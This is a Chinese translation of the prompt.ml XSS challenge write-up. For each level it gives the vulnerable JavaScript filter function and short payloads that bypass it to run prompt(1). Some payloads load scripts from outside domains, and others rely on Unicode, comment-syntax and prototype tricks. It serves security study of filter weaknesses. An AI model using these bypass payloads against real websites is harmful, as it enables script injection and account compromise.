xss挑战赛writeup - 安全研究

from:https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml

规则：

成功执行prompt(1)
payload不需要用户交互
payload必须对下述浏览器有效：
Chrome(最新版) - Firefox(最新版) - IE10 及以上版本(或者IE10兼容模式) 4. 每个级别至少给出两种浏览器的答案 5. 字符越少越好

Level 0

代码

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

答案

"><svg/onload=prompt(1)>

这个payload 24个字符。还有一个比较不常用的技巧，在IE10下，当页面第一次加载时，会调用resize事件，这个payload只有20个字符

"onresize=prompt(1)>

背景知识

resize事件在IE10及以下版本有效，IE11没有用。并且不需要用户交互。更多信息：http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx

Level 1

该级别实际是简单的过滤了>，需要绕过以下即可。

代码

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}

答案

<svg/onload=prompt(1)

注:译者使用js改版http://sectest.sinaapp.com/xss/level1.php,测试答案为

<svg/onload=prompt(1)//

Level 2

该级别过滤了=、(两种符号。

代码

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

答案

Firefox 和IE下的答案(29个字符)

<svg><script>prompt&#40;1)<b>

Chrome下需要script闭合标签，所以上述payload不成功。最短的答案如下(35个字符)

<svg><script>prompt&#40;1)</script>

未来所有的浏览器支持ES6，还可以使用下述编码：

<script>eval.call`${'prompt\x281)'}`</script>

或者

<script>eval.call`${'prompt\x281)'}`</script>

背景知识

由于xml编码特性。在SVG向量里面的<script>元素（或者其他CDATA元素），会先进行xml解析。因此(（十六进制）或者(（十进制）或者&lpar；（html实体编码）会被还原成（。

Level 3

过滤了->。但是2012已经公布，html5的注释标签不仅可以使用-->，还可以使用--!>。

代码

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}

25个字符通杀三个浏览器如下：

--!><svg/onload=prompt(1)

这个题目是利用url的特性绕过，浏览器支持这样的url：http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数，所以可以使用%2f绕过，如下：http://prompt.ml%2f@attacker.com。所以域名越短，答案就越短。

代码

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

答案

//prompt.ml%2f@ᄒ.ws/✌

Level 5

过滤了>，过滤了onXXX=，过滤了focus，所以不能使用autofocus。但是可以使用js的换行\n绕过onXXX=，IE下依然可以使用onresize

代码

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}

答案：一种答案是，可以提交设置type为image，后面的type不能覆盖前面的设置。

"type=image src onerror
="prompt(1)

IE下可以使用更短的答案：

"onresize
="prompt(1)

Level 6

虽然有过滤，但是可以将输入插入到form表单的action中。

代码

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}

答案

33个字符

javascript:prompt(1)#{"action":1}

IE下可以使用vbscript减少字符

vbscript:prompt(1)#{"action":1}

Level 7

可以使用js注释绕过。如下：

<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>

代码

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

答案

34个字符：

"><svg/a=#"onload='/*#*/prompt(1)'

IE下31个字符

"><script x=#"async=#"src="//⒛₨


<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>

背景知识

小技巧：IE下可以使用##async##来加载不需要闭合的script文件。如下：

<script src="test.js" async>

Level 8

这题使用的两个技巧

<LS>是U+2028，是Unicode中的行分隔符。
<PS>是U+2029，是Unicode中的段落分隔符。

另外-->，也可以在js中当注释使用，资料：https://javascript.spec.whatwg.org/#comment-syntax，因此我们构造答案如下：

<script>
// console.log("
prompt(1)
-->");
</script>

代码

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}

答案

Chrome和Firefox下 14个字符

[U+2028]prompt(1)[U+2028]-->

背景知识

比较奇怪的是，js中的换行符跟unicode中的不一致。另外，HTML代码的注释可以在Javascript中使用

Level 9

该题使用正则<([a-zA-Z])，导致无法注入HTML标签。但是toUpperCase()函数是支持Unicode函数。字符ſ经过函数toUpperCase()处理后，会变成ASCII码字符"S"。

代码

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}

答案

26个字符通杀浏览器的答案

<ſcript/ſrc=//⒕₨></ſcript>

或者使用async

<ſcript/async/src=//⒛₨>

Level 10

这个题目使用两个正则过滤。比较容易

代码

function escape(input) {
    // (╯°□°）╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°）╯︵ /(.□. \）DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}

答案

p'rompt(1)

Level 11

这个题目直接允许注入数据到script标签里面，但是过滤了特殊符号。这里的技巧是使用一个数据或者字母拥有操作符的功能，就是in

代码

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}

答案

"(prompt(1))in"


<script>                                    
    var data = {"action":"login","message":"Welcome back, "(prompt(1))in"."};          
    if (data.action === "login")            
        document.write(data.message)        
</script>

背景知识

"test"(alert(1))虽然会提示语法错误，但是还是会执行js语句。类似的alert(1)in"test"也是一样。可以在控制台下使用F12执行

Level 12

该题主要是利用toString()解答。eval可以直接执行字符串。如下：

parseInt("prompt",36); //1558153217

因此，

可以使用eval((1558153217).toString(36))(1)
还可以eval(1558153217..toString(36))(1)
还可以eval(630038579..toString(30))(1)

代码

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}

答案

32个字符通杀所有浏览器

eval(630038579..toString(30))(1)

// Hexadecimal alternative (630038579 == 0x258da033):
eval(0x258da033.toString(30))(1)

还有一种比较暴力的方法是，通过循环执行self里面的函数，来查找prompt执行(firfox下测试有效)

for((i)in(self))eval(i)(1)

Level 13

这个题目涉及到js中的__proto__，每个对象都会在其内部初始化一个属性，就是__proto__，当我们访问对象的属性时，如果对象内部不存在这个属性，那么就会去__proto__里面找这个属性，这个__proto__又会有自己的__proto__，一直这样找下去。可以再Chrome控制台中测试：

config = {
    "source": "_-_invalid-URL_-_",
    "__proto__": {
        "source": "my_evil_payload"
    }
}

输入

delete config.source
config.source

my_evil_payload

还有一个技巧是，replace()这个函数，他还接受一些特殊的匹配模式https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description翻译如下：

$` 替换查找的字符串，并且在头部加上比配位置前的字符串部分

举个例子就是：

'123456'.replace('34','$`xss')

'1212xss56'

代码

function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources)
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

答案

59个字符，通杀所有浏览器

{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

Level 14

这个题目使用base64绕过。

代码

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');
    return '<img src="' + input + '">';
}

答案

firfox下94个字符

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

IE下

"><script/async/src="/〳⒛₨


<img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨">

背景知识

这里再次使用了Unicode字符绕过。

Level 15

过滤了_,所以不能使用js注释/_，但是前面也提到了，html里面的同样可以在js中使用，如下

<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

代码

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}

答案

57个字符

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

在Firefox和IE下，</script>不需要，可以减少到42个字符

"><svg><!--#--><script><!--#-->prompt(1)</

在最新的Firefox Aurora版本上，还可以如下（译者未测试）：

"><script>`#${prompt(1)}#`</script>

Hidden Level

这里主要使用了两个非常有用的技巧，第一个是javascript的变量提升，以下语法可以在chrome下F12执行

function functionDeclaration(a,b,c) {
    alert('Function declared with ' + functionDeclaration.length + ' parameters');
}


functionDeclaration(); //alert > Function declared with 3 parameters

还有一个技巧就是第13题提到的replace()的匹配技巧，使用$&，测试如下：

'123456'.replace('34','$&x')

'1234x56'   //x 直接插入到 查找到的 34位置

所以可以构造下面的代码

if (history.length > 1337) {                                 
   // you can inject any code here
   // as long as it will be executed
   function history(l,o,r,e,m...1338 times...){{injection}}
   prompt(1)
}

code

function escape(input) {
    // WORLD -1
    // strip off certain characters from breaking conditional statement
    input = input.replace(/[}<]/g, '');
    return '                                                     \n\
<script>                                                         \n\
    if (history.length > 1337) {                                 \n\
        // you can inject any code here                          \n\
        // as long as it will be executed                        \n\
        {{injection}}                                            \n\
    }                                                            \n\
</script>                                                        \n\
    '.replace('{{injection}}', input);
}

答案

总共2704个字母

function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)$&prompt(1)

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